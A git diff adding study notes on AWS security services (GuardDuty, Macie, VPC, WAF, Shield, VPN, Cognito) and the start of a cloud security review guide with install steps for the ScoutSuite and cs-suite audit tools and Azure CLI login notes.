+The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without** either of these plans, then you will only have access to **six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account.
+Trusted advisor can send notifications and you can exclude items from it.
+Trusted advisor data is **automatically refreshed every 24 hours**, **but** you can perform a **manual one 5 mins after the previous one.**
+
+## Amazon GuardDuty
+
+Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor** their **AWS account** for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.
+For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength.
+You can **upload list of whitelisted and blacklisted IP addresses** so GuardDuty takes that info into account.
+
+Finding summary:
+
+* Finding type
+* Severity: 7-8.9High, 4-6.9Medium, 01-3.9Low
+* Region
+* Account ID
+* Resource ID
+* Time of detection
+* Which threat list was used
+
+The body has this information:
+
+* Resource affected
+* Action
+* Actor: Ip address, port and domain
+* Additional Information
+
+You can invite other accounts to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation.
+There are different IAM Role permissions to allow GuardDuty to get the information and to allow a user to upload IPs whitelisted and blacklisted.
+GuarDuty uses a service-linked role called "AWSServiceRoleForAmazonGuardDuty" that allows it to retrieve metadata from affected endpoints.
+
+You pay for the processing of your log files, per 1 million events per months from CloudTrail and per GB of analysed logs from VPC Flow
+
+When a user disable GuardDuty, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the existing findings will be lost.
+If you just stop it, the existing findings will remain.
+
+## Amazon Macie
+
+The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data** that you are storing within your AWS account.
+
+The service is backed by **machine learning**, allowing your data to be actively reviewed as different actions are taken within your AWS account. Machine learning can spot access patterns and **user behavior** by analyzing **cloud trail event** data to **alert against any unusual or irregular activity**. Any findings made by Amazon Macie are presented within a dashboard which can trigger alerts, allowing you to quickly resolve any potential threat of exposure or compromise of your data.
+
+Amazon Macie will automatically and continuously **monitor and detect new data that is stored in Amazon S3**. Using the abilities of machine learning and artificial intelligence, this service has the ability to familiarize over time, access patterns to data.
+Amazon Macie also uses natural language processing methods to **classify and interpret different data types and content**. NLP uses principles from computer science and computational linguistics to look at the interactions between computers and the human language. In particular, how to program computers to understand and decipher language data. The **service can automatically assign business values to data that is assessed in the form of a risk score**. This enables Amazon Macie to order findings on a priority basis, enabling you to focus on the most critical alerts first. In addition to this, Amazon Macie also has the added benefit of being able to **monitor and discover security changes governing your data**. As well as identify specific security-centric data such as access keys held within an S3 bucket.
+
+This protective and proactive security monitoring enables Amazon Macie to identify critical, sensitive, and security focused data such as API keys, secret keys, in addition to PII \(personally identifiable information\) and PHI data.
+
+This is useful to avoid data leaks as Macie will detect if you are exposing people information to the Internet.
+
+It's a **regional service**.
+
+It requires the existence of IAM Role 'AWSMacieServiceCustomerSetupRole' and it needs AWS CloudTrail to be enabled.
+
+Pre-defined alerts categories:
+
+* Anonymized access
+* Config compliance
+* Credential Loss
+* Data compliance
+* Files hosting
+* Identity enumeration
+* Information loss
+* Location anomaly
+* Open permissions
+* Privilege escalation
+* Ransomware
+* Service disruption
+* Suspicious access
+
+The **alert summary** provides detailed information to allow you to respond appropriately. It has a description that provides a deeper level of understanding of why it was generated. It also has a breakdown of the results.
+
+The user has the possibility to create new custom alerts.
+
+**Dashboard categorization**:
+
+* S3 Objects for selected time range
+* S3 Objects
+* S3 Objects by PII - Personally Identifiable Information
+* S3 Objects by ACL
+* High-risk CloudTrail events and associated users
+* High-risk CloudTrail errors and associated users
+* Activity Location
+* CloudTrail Events
+* Activity ISPs
+* CloudTrail user identity types
+
+**User Categories**: Macie categorises the users in the following categories:
+
+* **Platinum**: Users or roles considered to be making high risk API calls. Often they have admins privileges. You should monitor the pretty god in case they are compromised
+* **Gold**: Users or roles with history of calling APIs related to infrastructure changes. You should also monitor them
+* **Silver**: Users or roles performing medium level risk API calls
+* **Bronze**: Users or roles using lowest level of risk based on API calls
+
+**Identity types:**
+
+* Root: Request made by root user
+* IAM user: Request made by IAM user
+* Assumed Role: Request made by temporary assumed credentials \(AssumeRole API for STS\)
+* Federated User: Request made using temporary credentials \(GetFederationToken API fro STS\)
+* AWS Account: Request made by a different AWS account
+* AWS Service: Request made by an AWS service
+
+**Data classification**: 4 file classifications exists:
+
+* Content-Type: list files based on content-type detected. The given risk is determined by the type of content detected.
+* File Extension: Same as content-type but based on the extension
+* Theme: Categorises based on a series of keywords detected within the files
+* Regex: Categories based on specific regexps
+
+The final risk of a file will be the highest risk found between those 4 categories
+
+The research function allows to create you own queries again all Amazon Macie data and perform a deep dive analysis of the data. You can filter results based on: CloudTrail Data, S3 Bucket properties and S3 Objects
+
+It possible to invite other accounts to Amazon Macie so several accounts share Amazon Macie.
+
+## Route 53
+
+You can very easily create **health checks for web pages** via Route53. For example you can create HTTP checks on port 80 to a page to check that the web server is working.
+
+Route 53 service is mainly used for checking the health of the instances. To check the health of the instances we can ping a certain DNS point and we should get response from the instance if the instances are healthy.
+
+## CloufFront
+
+Amazon CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
+
+The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
+
+**By default cookie logging is disabled** but you can enable it.
+
+## VPC
+
+### VPC Flow Logs
+
+Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allows you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
+
+Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**.
+
+Limitations:
+
+* If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
+* If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
+* Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
+* The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
+* Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
+* Traffic relating to an Amazon Windows activation license from a Windows instance
+* Traffic between a network load balancer interface and an endpoint network interface
+
+For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
+
+
+
+
+
+### Subnets
+
+Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.
+Valid CIDR are from a /16 netmask to a /28 netmask.
+A subnet cannot be in different availability zones at the same time.
+
+By having **multiple Subnets with similar resources grouped together**, it allows for greater security management. By implementing **network level virtual firewalls,** called network access control lists, or **NACLs**, it's possible to **filter traffic** on specific ports from both an ingress and egress point at the Subnet level.
+
+When you create a subnet the **network** and **broadcast address** of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
+
+It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
+
+In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**.
+
+By default, all subnets have the automatic assigned of public IP addresses turned off but it can be turned on.
+
+**A local route within a route table enables communication between VPC subnets.**
+
+If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet.
+
+### VPC Peering
+
+VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network.
+
+Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.
+If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.
+Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.**
+
+## AWS Secrets Manager
+
+AWS Secrets Manager is a great service to enhance your security posture by allowing you to **remove any hard-coded secrets within your application and replacing them with a simple API call** to the aid of your secrets manager which then services the request with the relevant secret. As a result, AWS Secrets Manager acts as a **single source of truth for all your secrets across all of your applications**.
+
+AWS Secrets Manager enables the **ease of rotating secrets** and therefore enhancing the security of that secret. An example of this could be your database credentials. Other secret types can also have automatic rotation enabled through the use of lambda functions, for example, API keys.
+
+Access to your secrets within AWS Secret Manager is governed by fine-grained IAM identity-based policies in addition to resource-based policies.
+
+To allow a user form a different account to access your secret you need to authorize him to access the secret and also authorize him to decrypt the secret in KMS. The Key policy also needs to allows the external user to use it.
+
+**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
+
+## EMR
+
+EMR is a managed service by AWS and is comprised of a **cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark.
+
+From EMR version 4.8.0 and onwards, we have the ability to create a **security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters.
+
+One key point of EMR is that **by default, the instances within a cluster do not encrypt data at rest**. Once enabled, the following features are available.
+
+* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS** to be used as your key management provider, or use a custom key provider.
+* **Open-Source HDFS encryption:** This provides two Hadoop encryption options. Secure Hadoop RPC which would be set to privacy which uses simple authentication security layer, and data encryption of HDFS Block transfer which would be set to true to use the AES-256 algorithm.
+
+From an encryption in transit perspective, you could enable **open source transport layer security** encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts.
+
+Once the TLS certificate provider has been configured in the security configuration file, the following encryption applications specific encryption features can be enabled which will vary depending on your EMR version.
+
+* Hadoop might reduce encrypted shuffle which uses TLS. Both secure Hadoop RPC which uses Simple Authentication Security Layer, and data encryption of HDFS Block Transfer which uses AES-256, are both activated when at rest encryption is enabled in the security configuration.
+* Presto: When using EMR version 5.6.0 and later, any internal communication between Presto nodes will use SSL and TLS.
+* Tez Shuffle Handler uses TLS.
+* Spark: The Akka protocol uses TLS. Block Transfer Service uses Simple Authentication Security Layer and 3DES. External shuffle service uses the Simple Authentication Security Layer.
+
+## RDS - Relational Database Service
+
+RDS allows you to set up a **relational database** using a number of **different engines** such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption.
+
+By enabling your encryption here, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**.
+
+However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted.
+
+Amazon RDS **sends data to CloudWatch every minute by default.**
+
+In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including **Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would **impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions.
+
+If you want to use the TDE method, then you must first ensure that the database is associated to an option group. Option groups provide default settings for your database and help with management which includes some security features. However, option groups only exist for the following database engines and versions.
+
+Once the database is associated with an option group, you must ensure that the Oracle Transparent Data Encryption option is added to that group. Once this TDE option has been added to the option group, it cannot be removed. TDE can use two different encryption modes, firstly, TDE tablespace encryption which encrypts entire tables and, secondly, TDE column encryption which just encrypts individual elements of the database.
+
+## Amazon Kinesis Firehouse
+
+Amazon Firehose is used to deliver **real-time streaming data to different services** and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch.
+
+The service is fully managed by AWS, taking a lot of the administration of maintenance out of your hands. Firehose is used to receive data from your data producers where it then automatically delivers the data to your chosen destination.
+
+Amazon Streams essentially collects and processes huge amounts of data in real time and makes it available for consumption.
+
+This data can come from a variety of different sources. For example, log data from the infrastructure, social media, web clicks during feeds, market data, etc. So now we have a high-level overview of each of these. We need to understand how they implement encryption of any data process in stored should it be required.
+
+When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination.** As **Amazon Streams** now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers.
+
+If Amazon **S3** is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**.
+
+As a part of this process, it's important to ensure that both producer and consumer applications have permissions to use the KMS key. Otherwise encryption and decryption will not be possible, and you will receive an unauthorized KMS master key permission error.
+
+Kinesis SSE encryption will typically call upon KMS to **generate a new data key every five minutes**. So, if you had your stream running for a month or more, thousands of data keys would be generated within this time frame.
+
+## Amazon Redshift
+
+Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business.
+
+**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted.
+
+Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**.
+
+### KMS
+
+During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective.
+
+The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. The CMK is known as the master key, tier one, and once selected, Redshift can enforce the encryption process as follows. So Redshift will send a request to KMS for a new KMS key.
+
+So Redshift will send a request to KMS for a new KMS key.
+
+This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory.
+
+Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory.
+
+This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database.
+
+You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3.
+
+### CloudHSM
+
+When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates.
+
+This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition.
+
+You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition.
+
+If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised.
+
+During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'.
+
+## WAF
+
+AWS WAF is a web application firewall that helps **protect your web applications** or APIs against common web exploits that may affect availability, compromise security, or consume excessive resources. AWS WAF gives you control over **how traffic reaches your applications** by enabling you to create security rules that block common attack patterns, such as SQL injection or cross-site scripting, and rules that filter out specific traffic patterns you define.
+
+So there are a number of essential components relating to WAF, these being: Conditions, Rules and Web access control lists, also known as Web ACLs
+
+### Conditions
+
+Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** \(XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching\). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf.
+
+You can have **100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception** to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules** per account. Finally you can have **10,000 requests per second** when **using WAF** within your application load balancer.
+
+### Rules
+
+Using these conditions you can create rules: For example, block request if 2 conditions are met.
+When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**.
+
+The only **difference** between a rate-based rule and a regular rule is that **rate-based** rules **count** the **number** of **requests** that are being received from a particular IP address over a time period of **five minutes**.
+
+When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**, **all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule.
+
+### Actions
+
+An action is applied to each rule, these actions can either be **Allow**, **Block** or **Count**.
+
+* When a request is **allowed**, it is **forwarded** onto the relevant CloudFront distribution or Application Load Balancer.
+* When a request is **blocked**, the request is **terminated** there and no further processing of that request is taken.
+* A **Count** action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block.
+
+If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a **default action** specified which can either be **Allow** or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically** these are **ordered** as shown:
+
+1. WhiteListed Ips as Allow.
+2. BlackListed IPs Block
+3. Any Bad Signatures also as Block.
+
+### CloudWatch
+
+WAF CloudWatch metrics are reported **in one minute intervals by default** and are kept for a two week period. The metrics monitored are AllowedRequests, BlockedRequests, CountedRequests, and PassedRequests.
+
+## AWS Firewall Manager
+
+AWS Firewall Manager simplifies your administration and maintenance tasks across multiple accounts and resources for **AWS WAF, AWS Shield Advanced, Amazon VPC security groups, and AWS Network Firewall**. With Firewall Manager, you set up your AWS WAF firewall rules, Shield Advanced protections, Amazon VPC security groups, and Network Firewall firewalls just once. The service **automatically applies the rules and protections across your accounts and resources**, even as you add new resources.
+
+It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it **automatically protects certain resources that are added** to your account as they become active.
+
+**Requisites**: Created a Firewall Manager Master Account, setup an AWS organization and have added our member accounts and enable AWS Config.
+
+A **rule group** \(a set of WAF rules together\) can be added to an AWS Firewall Manager Policy which is then associated to AWS resources, such as your cloudfront distributions or application load balances.
+
+**Firewall Manager policies only allow "Block" or "Count"** options for a rule group \(no "Allow" option\).
+
+## AWS Shield
+
+AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS.
+
+**AWS Shield Standard** is **free** to everyone, and it offers DDoS **protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53.
+
+**AWS Shield advanced** offers a **greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered compared to that of Standard. And you will also have **access to a 24-by-seven specialized DDoS response team at AWS, known as DRT**.
+
+Whereas the Standard version of Shield offered protection against layer three and layer four, **Advanced also offers protection against layer seven, application, attacks.**
+
+## VPN
+
+### Site-to-Site VPN
+
+**Connect your on premisses network with your VPC.**
+
+#### Concepts
+
+* **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
+* **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
+
+ Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
+
+* **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
+* **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
+* **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+* **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
+
+#### Limitations
+
+* IPv6 traffic is not supported for VPN connections on a virtual private gateway.
+* An AWS VPN connection does not support Path MTU Discovery.
+
+In addition, take the following into consideration when you use Site-to-Site VPN.
+
+* When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
+
+### Components of Client VPN
+
+**Connect from your machine to your VPC**
+
+#### Concepts
+
+* **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
+* **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
+* **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
+* **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider \(IdP\) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
+* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
+* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
+* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
+* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation \(SNAT\) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
+* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
+* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
+
+#### Limitations
+
+* **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
+* Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
+* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
+* The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
+* The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
+* You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
+* A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
+* Client VPN supports **IPv4** traffic only.
+* Client VPN is **not** Federal Information Processing Standards \(**FIPS**\) **compliant**.
+* If multi-factor authentication \(MFA\) is disabled for your Active Directory, a user password cannot be in the following format.
+
+ ```text
+ SCRV1::
+ ```
+
+* The self-service portal is **not available for clients that authenticate using mutual authentication**.
+
+## Amazon Cognito
+
+Amazon Cognito provides **authentication, authorization, and user management** for your web and mobile apps. Your users can sign in directly with a **user name and password**, or through a **third party** such as Facebook, Amazon, Google or Apple.
+
+The two main components of Amazon Cognito are user pools and identity pools. **User pools** are user directories that provide **sign-up and sign-in options for your app users**. **Identity pools** enable you to grant your users **access to other AWS services**. You can use identity pools and user pools separately or together.
+
+### **User pools**
+
+A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider \(IdP\). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK.
+
+User pools provide:
+
+* Sign-up and sign-in services.
+* A built-in, customizable web UI to sign in users.
+* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
+* User directory management and user profiles.
+* Security features such as multi-factor authentication \(MFA\), checks for compromised credentials, account takeover protection, and phone and email verification.
+* Customized workflows and user migration through AWS Lambda triggers.
+
+### **Identity pools**
+
+With an identity pool, your users can **obtain temporary AWS credentials to access AWS services**, such as Amazon S3 and DynamoDB. Identity pools support anonymous guest users, as well as the following identity providers that you can use to authenticate users for identity pools:
+
+* Amazon Cognito user pools
+* Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple
+* OpenID Connect \(OIDC\) providers
+* SAML identity providers
+* Developer authenticated identities
+
+To save user profile information, your identity pool needs to be integrated with a user pool.
+
diff --git a/cloud-security/cloud-security-review.md b/cloud-security/cloud-security-review.md
new file mode 100644
index 00000000000..396c5a40e05
--- /dev/null
+++ b/cloud-security/cloud-security-review.md
@@ -0,0 +1,109 @@
+# Cloud security review
+
+**Check for nice cloud hacking tricks in** [**https://hackingthe.cloud/aws/general-knowledge/connection-tracking/**](https://hackingthe.cloud/aws/general-knowledge/connection-tracking/)\*\*\*\*
+
+## Generic tools
+
+There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
+
+### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
+
+AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
+
+```text
+pip3 install scoutsuite
+```
+
+### [cs-suite](https://github.com/SecurityFTW/cs-suite)
+
+AWS, GCP, Azure, DigitalOcean
+
+```text
+git clone https://github.com/SecurityFTW/cs-suite.git && cd cs-suite/
+pip install virtualenv
+virtualenv -p python2.7 venv
+source venv/bin/activate
+pip install -r requirements.txt
+python cs.py --help
+```
+
+### Nessus
+
+Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**.
+
+### Common Sense
+
+Take a look to the **network access rules** and detect if the services are correctly protected:
+
+* ssh available from everywhere?
+* Unencrypted services running \(telnet, http, ...\)?
+* Unprotected admin consoles?
+* In general, check that all services are correctly protected depending on their needs
+
+## Azure
+
+Access the portal here: [http://portal.azure.com/](http://portal.azure.com/)
+To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
+
+It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines \(to be able to run powershell and python scripts\): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest)
+Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _<HOME>/.azure_ \(in both Windows and Linux\).
+
